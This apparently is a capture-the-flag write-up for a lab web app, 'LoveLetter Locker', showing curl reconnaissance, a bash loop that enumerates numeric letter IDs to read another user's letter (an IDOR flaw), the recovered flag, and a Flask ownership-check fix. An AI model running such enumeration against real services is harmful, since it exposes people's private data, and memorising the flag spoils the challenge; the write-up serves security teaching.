Writeup — "LoveLetter Locker" (IDOR)
An insecure object reference that lets any user read anyone else’s love letters by number.
Exploit a broken access control on the letter archive: enumerate letter IDs and read a letter you don't own, recovering the flag hidden inside another user's message.
THM{1_c4n_r3ad_4ll_l3tters_w1th_th1s_1d0r}
Table of Contents
- 1. Reconnaissance
- 2. Registering an Account
- 3. Understanding the App
- 4. The IDOR — Enumerating Letters
- 5. Recovering the Flag
- 6. How the App Should Be Fixed
- 7. Key Takeaways
1. Reconnaissance
1
Service fingerprint
curl -i http://10.65.159.106:5000/ HTTP/1.1 200 OK Server: Werkzeug/3.1.5 Python/3.12.3 Content-Type: text/html; charset=utf-8
Fingerprint: a Flask app (Werkzeug dev server) running on Python 3.12. The homepage brands the service as “LoveLetter Locker” with Login/Register links.
2
Route discovery
GET / 200 Home GET /login 200 Login form GET /register 200 Register form GET /letters 302 redirect to /login (auth required) GET /letters/new 302 redirect to /login (auth required) GET /admin 404 GET /dashboard 404 GET /api 404 GET /.git/HEAD 404
The only interesting authenticated area is /letters — so the attack surface is inside the letter management functionality.
2. Registering an Account
3
Create a test user
curl -c cj.txt -X POST http://10.65.159.106:5000/register \
-d 'username=testuser123&password=testpass123' # 302 → /login
curl -c cj.txt -b cj.txt -X POST http://10.65.159.106:5000/login \
-d 'username=testuser123&password=testpass123' # 302 → /letters, session cookie setRegistration is open to anyone, so we can create our own low-privilege account to explore the app from the inside.
3. Understanding the App
4
Dashboard & a hint from Cupid
GET /letters (authenticated)
My Letters 💌 [New Letter]
Total letters in Cupid's archive: 2
Tip from Cupid 😇
Every love letter gets a unique number in the archive.
Numbers make everything easier to find.The list page only shows our own letters, but the copy explicitly tells us letters have a unique number — a direct hint that they are addressable by numeric ID.
5
Letter creation → numeric IDs
POST /letters/new title=Hello Test&body=This is a test letter # 302 → /letters
After creating a letter, the list shows an “Open” button pointing to a numeric route:
<a class="btn secondary" href="/letter/3">Open</a>
So each letter lives at /letter/<id> — and "Total letters in the archive" is global, not per-user.
4. The IDOR — Enumerating Letters
6
Walk the numeric IDs
for i in 1 2 3 4 5; do curl -s -b cj.txt "http://10.65.159.106:5000/letter/$i"; done
# /letter/1 → 200 (a letter we do NOT own)
# /letter/2 → 200 (a letter we do NOT own)
# /letter/3 → 200 (our own test letter)
# /letter/4 → 302 (does not exist)The server never checks who owns the letter. Any authenticated user can request any ID. This is a classic Insecure Direct Object Reference (IDOR) — a broken-access-control bug.
Observation: the letter view endpoint returns 200 for other users' letters, 302 only when the ID doesn't exist.
5. Recovering the Flag
7
Reading letter #1
GET /letter/1
💌 To my secret Valentine ❤️ [Letter #1]
Archived: 2026-01-19 10:46:35
My dearest...
THM{1_c4n_r3ad_4ll_l3tters_w1th_th1s_1d0r}
Forever yours,
Gonz0Letter #1 belongs to another user (Gonz0) and contains the flag embedded in the message body. Our account never appeared in the author or recipient — it was reachable purely by guessing the numeric ID.
8
Result
THM{1_c4n_r3ad_4ll_l3tters_w1th_th1s_1d0r}The flag text itself reads: "I can read all letters with this IDOR."
6. How the App Should Be Fixed
The backend should resolve the letter's owner and compare it with the current session user before rendering:
# Flask pseudo-fix @app.route('/letter/<int:letter_id>') def view_letter(letter_id): letter = db.get_letter(letter_id) if letter is None: abort(404) if letter.owner_id != current_user.id: # authorization check abort(403) return render_template('letter.html', letter=letter)
- Authorization ≠ authentication: being logged in must not imply access to every object.
- Owner check: every object access should verify
owner_idagainst the session. - Fail closed: missing object → 404; wrong owner → 403; never fall through to render.
- Don't trust sequential IDs: if needed for hiding, use unguessable opaque IDs (UUIDs), but never instead of an ownership check.
7. Key Takeaways
- Numeric IDs are a giveaway: any resource reachable as
/resource/1,2,3…should be tested for IDOR. - In-app hints matter: “Every love letter gets a unique number” was an intentional breadcrumb toward ID enumeration.
- Enumerate cheaply: a 3-line bash loop over IDs is enough to find missing ownership checks.
- Owner check: the fix is a single authorization comparison — cheap to implement, easy to forget.
Flag: THM{1_c4n_r3ad_4ll_l3tters_w1th_th1s_1d0r}